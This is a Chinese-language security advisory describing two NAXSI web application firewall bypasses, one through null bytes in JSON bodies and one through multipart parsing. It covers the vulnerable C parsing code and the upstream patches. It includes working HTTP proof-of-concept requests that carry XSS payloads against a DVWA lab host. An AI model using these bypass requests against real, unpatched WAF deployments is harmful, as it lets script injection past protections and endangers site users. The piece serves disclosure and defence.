绕过NAXSI过滤引擎 bypass NAXSI waf

绕过NAXSI过滤引擎 bypass NAXSI waf

Naxsi是什么

NAXSI表示NginxXSSSQL注入

从技术上讲,它是第三方nginx模块,可作为许多类似UNIX的平台的软件包使用。默认情况下,该模块读取一小部分 简单(可读)规则, 其中包含与网站漏洞有关的99%的已知模式。例如,<|drop不应该是一个URI的一部分。

非常简单,这些模式可以匹配合法查询,纳克西(Naxsi)的管理员的职责是将合法行为列入白名单的特定规则。管理员可以通过分析nginx的错误日志来手动添加白名单,也可以(建议)从密集的自动学习阶段开始该项目,该阶段将自动生成有关网站行为的白名单规则。

简而言之,Naxsi的行为就像默认的DROP防火墙一样,唯一的任务是添加所需的ACCEPT规则以使目标网站正常运行。

有什么不同?

与大多数Web应用程序防火墙相反,Naxsi不像防病毒软件一样依赖签名库,因此不能通过“未知”攻击模式来规避。Naxsi是免费软件(如自由软件)和免费软件(如免费啤酒)。

它在什么上运行?

Naxsi应该与任何nginx版本兼容。

它依赖于libpcre它的regexp支持,据报道在NetBSD,FreeBSD,OpenBSD,Debian,Ubuntu和CentOS上运行良好。

GitHub

Naxsinginx一起安装,后者负责托管网站Damn Vulnerable Web Application(DVWA)。该Web应用程序旨在容易受到许多常见问题(例如SQL注入或XSS)的攻击。此设置使我们可以完美地测试Naxsi是否正确检测到SQL注入或XSS的基本模式。使用的规则是Naxsi核心规则,该规则应防止大多数用于利用Web应用程序中常见漏洞的模式。

起源

为了更好地保护其用户,NBS System已要求Synacktiv对著名的开源Web应用程序防火墙(WAF)Naxsi进行源代码审查。
在审核期间,Synacktiv发现了多个漏洞,这些漏洞可能允许绕过过滤规则。
这篇简短的博客文章将介绍最关键的漏洞以及NBS System如何修复它们。
在报告修复后,已在1.1a版上快速发布了这些修复:https://github.com/nbs-system/naxsi/releases/tag/1.1a。

过滤引擎分析

为了能够检测HTTP请求中的恶意模式,Naxsi需要能够完全解析它。

这种解析是对GET请求进行的非常基本的操作,但对POST请求进行解析可能会更加复杂,因为它可以采用多种格式。POST请求的正文格式由HTTP标头“ Content-type”指示。 Naxsi支持四种内容类型:

  • application/x-www-form-urlencoded:非常常见,格式与直接在URI中传递的参数相同。
  • multipart/form-data:允许发送二进制Blob的更复杂的格式。
  • application/json:JSON格式。
  • application/csp-report:像application/json一样进行分析。

对于请求的每个部分,该过程在全局上都是相同的。Naxsi尝试根据正文的格式隔离每个用户输入。在检查了它们的格式是否正确之后(例如,没有空字节或无效的编码),每个用户输入都提交给函数ngx_http_basestr_ruleset_n。它具有以下原型:

int ngx_http_basestr_ruleset_n(ngx_pool_t *pool,
                ngx_str_t *name,
                ngx_str_t *value,
                ngx_array_t *rules,
                ngx_http_request_t *req,
                ngx_http_request_ctx_t *ctx,
                enum DUMMY_MATCH_ZONE zone)

此函数分析字符串的名称值,以检查其内容是否与规则中定义的模式匹配。该区域变量确定请求的一部分的分析,有许多工作要做,以仅适用适用于该区域的规则。Naxsi的分析功能主要基于键值对系统。负责过滤输入的函数期望使用这种格式,因为大多数用户输入都采用以下格式:POST请求的参数,HTTP标头等。但是,并非总是如此。例如,在分析URI的路径时,名称变量可以是一个空字符串。

ngx_http_basestr_ruleset_n 函数遍历规则列表,并跳过所有不适用于指定区域的规则。对于每个与区域匹配的规则,函数ngx_http_process_basic_rule_buffer的调用方式为字符串名称,然后是字符串value

ngx_http_process_basic_rule_buffer(ngx_str_t *str, ngx_http_rule_t *rl, ngx_int_t *nb_match)

ngx_http_process_basic_rule_buffer 函数检查字符串str是否与规则rl相匹配。

可以使用两种模式来定义规则:字符串或正则表达式。如果使用字符串定义规则,则将调用函数strfaststr,这是libcstrstr函数的更快实现。如果规则是用正则表达式定义的,则调用函pcre_exec

使用的函数pcre_exec是系统之一,未经审核。

使用strfaststr在用户输入中查找模式可能是一个问题。如果未正确清理用户输入并包含一个空字节,则对模式的研究将停止到遇到的第一个空字节,并且永远不会分析该空字节之后的数据。这可能会导致绕过使用字符串定义的所有过滤规则。由此,我们可以得出结论,传递给函数ngx_http_process_basic_rule_buffer(因此ngx_http_basestr_ruleset_n)的任何用户输入都绝不能包含空字节。

通过对Naxsi的快速分析,我们可以看到调用函数ngx_http_basestr_ruleset_n的潜在问题可能是:

  • 解析请求的错误,导致名称无效。
  • 用户输入未正确清理,并且包含空字节。
  • 指定的区域不正确,所应用的规则无效。

漏洞

JSON过滤绕过

Naxsi在C中实现了自己的JSON解析器。整个代码在文件naxsi_src/naxsi_json.c中,该文件很小,可以完全审核。通过调用函数ngx_http_dummy_json_parse完成JSON格式的正文的解析。

细心的读者可以看到,没有健全的检查可以确保请求正文中没有空字节。

这意味着解析器将不会拒绝在JSON的任何部分中包含空字节的正文。解析JSON时,Naxsi将查找任何密钥对值,将其提取并将其发送给函数ngx_http_basestr_ruleset_n

例如,以下JSON将导致对ngx_http_basestr_ruleset_n的调用,其中“ Key1”作为名称,而“ Value1”作为value

{
    "Key1": "Value1"
}

缺少对是否存在空字节的检查将使攻击者可以将空字节注入传递给ngx_http_basestr_ruleset_n的值中。如上一节所述,它可以绕过任何用字符串模式定义的过滤规则。

第一个请求已发送到DVWA应用程序,以确保Naxsi检测到并阻止XSS模式:

POST /vulnerabilities/xss_s/ HTTP/1.1
Host: 192.168.134.130
Referer: http://192.168.134.130/index.php
Content-Length: 27
Content-Type: application/json

{"MyKey": "MyValue <script>alert('1')</script>"}

Naxsi正确检测到规则文件naxsi_core.rules中定义的规则1302、1303、1010、1011和1013分别禁止的模式“ <”,“>”,“(”,“)”和“’” 。

2020/01/21 18:06:17 [error] 63601#0: *177 NAXSI_FMT:
ip=192.168.134.1&server=192.168.134.130&uri=/vulnerabilities/xss_s/
&vers=0.56&total_processed=99&total_blocked=51&config=block&cscore0=$SQL&score0=4&cscore1=$
XSS&score1=8&zone0=BODY&id0=1010&var_name0=mykey, client: 192.168.134.1, server: localhost,
request: "POST /vulnerabilities/xss_s/ HTTP/1.1", host: "192.168.134.130", referrer:
"http://192.168.134.130/index.php"

然后,将请求打补丁以在XSS有效负载之前添加一个空字节(“ \ x00”代表一个空字节):

POST /vulnerabilities/xss_s/ HTTP/1.1
Host: 192.168.134.130
Referer: http://192.168.134.130/index.php
Content-Length: 27
Content-Type: application/json

{"MyKey": "MyValue \x00 <script>alert('1')</script>"}

请求的主体定义如下:

00000000: 7b22 4d79 4b65 7922 3a20 224d 7956 616c {"MyKey": "MyVal
00000010: 7565 2000 203c 7363 7269 7074 3e61 6c65 ue . <script>ale
00000020: 7274 2831 293c 2f73 6372 6970 743e 227d rt(1)</script>"}

尽管存在错误的有效负载,该请求仍会传递到Web应用程序。

多部分过滤绕过

Naxsi支持的一种格式是multipart /form-data。这种格式(主要在RFC 7578中定义)允许以键/值对的形式发送数据,格式与application/x-www-form-urlencoded相同,但也支持二进制Blob和文件。

它需要定义一个分隔符,称为“边界”,以分隔主体中的每个键值对。此外,在每个键值对的开头都有一个标头,用于定义键和用于传输值的数据的格式。

ngx_http_dummy_multipart_parse函数用于分析此类请求。它首先从HTTP标头“ Content-Type”中提取边界,然后尝试解析两种格式之一期望的键值对:

Content-Disposition: form-data; name="somename"; filename="SomefileName"\r\n
Content-Type: application/octet-stream\r\n\r\n
<DATA>
--BOUNDARY

要么

Content-Disposition: form-data; name="somename"\r\n\r\n
<DATA>
--BOUNDARY

RFC 7578声明标头“ Content-Disposition:form-data;” 必须存在。它后面必须跟有定义键的属性“名称”,并且后面可能要跟有属性“文件名”,该属性将键值的数据定义为文件,并设置此文件的名称。

函数nx_content_disposition_parse将解析“ Content-Disposition”标头并提取以下信息:

  • 存储在属性名称中的值,对应于键值对的键。
  • 存储在属性文件名中的值(如果存在)。

其余的分析取决于此函数的返回。

如果找到属性“文件名”,则Naxsi会将以下数据视为文件,并且不会尝试在其上应用过滤规则。如果未找到,则Naxsi将尝试对数据应用过滤规则,为此,Naxsi需要解析正文并提取它们。负责提取与该值对应的数据的代码如下:

end = NULL;
while (idx < len) {
    end = (u_char *) ngx_strstr(src+idx, "\r\n--");
    /* file data can contain \x0 */
    while (!end) {
        idx += strlen((const char *)src+idx);
        if (idx < len - 2) {
            idx++;
            end = (u_char *) ngx_strstr(src+idx, "\r\n--");
        }
        else
            break;
    }
    if (!end) {
        if (ngx_http_apply_rulematch_v_n(&nx_int__uncommon_post_format, ctx, r, NULL, NULL,
        BODY, 1, 0)) {
            dummy_error_fatal(ctx, r, "POST data : malformed content-disposition line");
        }
        return ;
    }
    if (!ngx_strncmp(end+4, boundary, boundary_len))
        break;
    else {
        idx += ((u_char *) end - (src+idx)) + 1;
        end = NULL;
    }
}
if (!end) {
    dummy_error_fatal(ctx, r, "POST data : malformed line");
    return ;
}

在此代码的开头,idx对应于值的数据从其开始的索引,因此在“ Content-Disposition”标头之后。在此代码的末尾,变量idxend将标记出要由过滤引擎分析的数据的开始和结束。

该代码存在缺陷,因为在两种情况下可以将变量idx递增:

  • 遇到一个空字节;
  • 遇到字符串“ \ r \ n–”,但是后面没有“边界”。

在这两种情况下,由于将idx用作数据的开始,因此如果将IDx递增,则在递增之前遇到的每个数据都将被忽略以进行分析。

以下请求已发送到DVWA应用程序,以检查Naxsi是否正确检测并阻止了XSS模式:

POST /vulnerabilities/xss_s/ HTTP/1.1
Host: 192.168.134.130
Content-Length: 307
Cookie: PHPSESSID=ev4n6lppfcf2cgjn1re191bjh0; security=low
Content-Type: multipart/form-data; boundary=--------461827894

----------461827894
Content-Disposition: form-data; name="txtName";

<script>alert("ThisIsAnXss")</script>
----------461827894
Content-Disposition: form-data; name="mtxMessage";

MyMessage
----------461827894
Content-Disposition: form-data; name="btnSign"

Sign Guestbook
----------461827894--

Naxsi正确检测到字符“<”,“>”,“(”,“)”,和“’”,按规则分别禁止1302,1303,1010,1011和在规则文件中定义的1013 naxsi_core.rules,和阻止请求。

然后将请求打补丁以在有效负载之后注入一个空字节(或字符串“\r\n–”):

POST /vulnerabilities/xss_s/ HTTP/1.1
Host: 192.168.134.130
Content-Length: 307
Cookie: PHPSESSID=ev4n6lppfcf2cgjn1re191bjh0; security=low
Content-Type: multipart/form-data; boundary=--------461827894

----------461827894
Content-Disposition: form-data; name="txtName";

<script>alert("ThisIsAnXss")</script> \x00 BYPASS ! // \x00 represents a null byte
----------461827894
Content-Disposition: form-data; name="mtxMessage";

MyMessage
----------461827894
Content-Disposition: form-data; name="btnSign"

Sign Guestbook
----------461827894--

该请求未被Naxsi阻止,并利用XSS传递给DVWA应用程序。通过将空字节替换为字符串“ \r\n–”,可以获得相同的结果。

Naxsi的大多数配置中,此漏洞可被利用,因为multipart/form-data格式已被Web服务器广泛接受。他们中的大多数人都将接受这种格式来代替直接在URI中的参数。这意味着可以绕开Naxsi的主要用例,POST请求的参数中禁止模式的检测。

补丁

发现的两个漏洞对Naxsi产生了很大的影响,因为它们允许绕过其主要用例。两者都被报道为2020年9月25日,并且在同一天进行了修补,这真的非常快!

首先,提交502b2aaead968d43bcf03fbbd55f5901d0a8d315通过在函数ngx_http_basestr_ruleset_n的开头简单地添加一个对naxsi_escape_nullbytes的调用(用字符“ 0”替换空字节)来解决JSON问题。它应该解决任何包含空字节的用户输入问题。

另外,有趣的是注意到函数strfaststr的名称现在具有误导性。此函数调用已修补的函数strncasechr

 static char * strncasechr(const char *s, int c, int len)
 {
    int cpt;
-   for (cpt = 0; cpt < len && s[cpt]; cpt++)
+   for (cpt = 0; cpt < len; cpt++) {
    if (tolower(s[cpt]) == c) {
        return ((char*)s + cpt);
    }
 }

此函数不再停止在空字节上,因此没有strfaststr。该名称具有误导性,因为它希望像任何C字符串函数一样在空字节上停止,但这可以确保在提交给函数ngx_http_basestr_ruleset_n的整个用户输入中搜索规则的模式

然后,提交0e2e559874e0d65ce38fc8547bb200505c3807b4修复了“多部分/表单数据”格式的请求解析中的绕过问题。

     idx += 2;
     /* seek the end of the data */
     end = NULL;
     while (idx < len) {
-      end = (u_char *) ngx_strstr(src+idx, "\r\n--");
+      end = (u_char*)sstrfaststr(src + idx, len - idx, "\r\n--", strlen("\r\n--"));
       /* file data can contain \x0 */
       while (!end) {
-        idx += strlen((const char *)src+idx);
+        idx += strlen((const char*)src + idx);
         if (idx < len - 2) {
           idx++;
-          end = (u_char *) ngx_strstr(src+idx, "\r\n--");
-        }
-        else
+          end = (u_char*)sstrfaststr(src + idx, len - idx, "\r\n--", strlen("\r\n--"));
+        } else {
           break;
+        }
       }
-      if (!end) {
-        if (ngx_http_apply_rulematch_v_n(&nx_int__uncommon_post_format, ctx, r, NULL, NULL, BODY, 1, 0)) {
-          dummy_error_fatal(ctx, r, "POST data : malformed content-disposition line");
+      if (!end || ngx_strncmp(end + 4, boundary, boundary_len)) {
+        if (ngx_http_apply_rulematch_v_n(
+              &nx_int__uncommon_post_format, ctx, r, NULL, NULL, BODY, 1, 0)) {
+          naxsi_error_fatal(ctx, r, "POST data : malformed content-disposition line");
         }
-        return ;
+        return;
       }
-      if (!ngx_strncmp(end+4, boundary, boundary_len))
-             break;
-      else {
-        idx += ((u_char *) end - (src+idx)) + 1;
+      if (!ngx_strncmp(end + 4, boundary, boundary_len)) {
+        break;
+      } else {
+        idx += ((u_char*)end - (src + idx)) + 1;
         end = NULL;
       }
     }

补丁程序向ngx_strncmp添加了一个调用,如果在序列“ \r\n–”之后未放置边界,则拒绝该请求。但是乍一看,此代码似乎仍然容易受到使用空字节的多部分绕过的影响。但是,ngx_strstr函数已由sstrfaststr …取代,如前所述,它具有误导性,因为它不再在空字节上停止!在此版本的代码中,我们将无法使sstrfaststr函数使用有效的HTTP请求返回NULL。因此,此漏洞已修复。

随这些漏洞的修复程序一起提供了新的回归测试,以确保不会再次引入这些漏洞,这表明了良好的开发实践。

from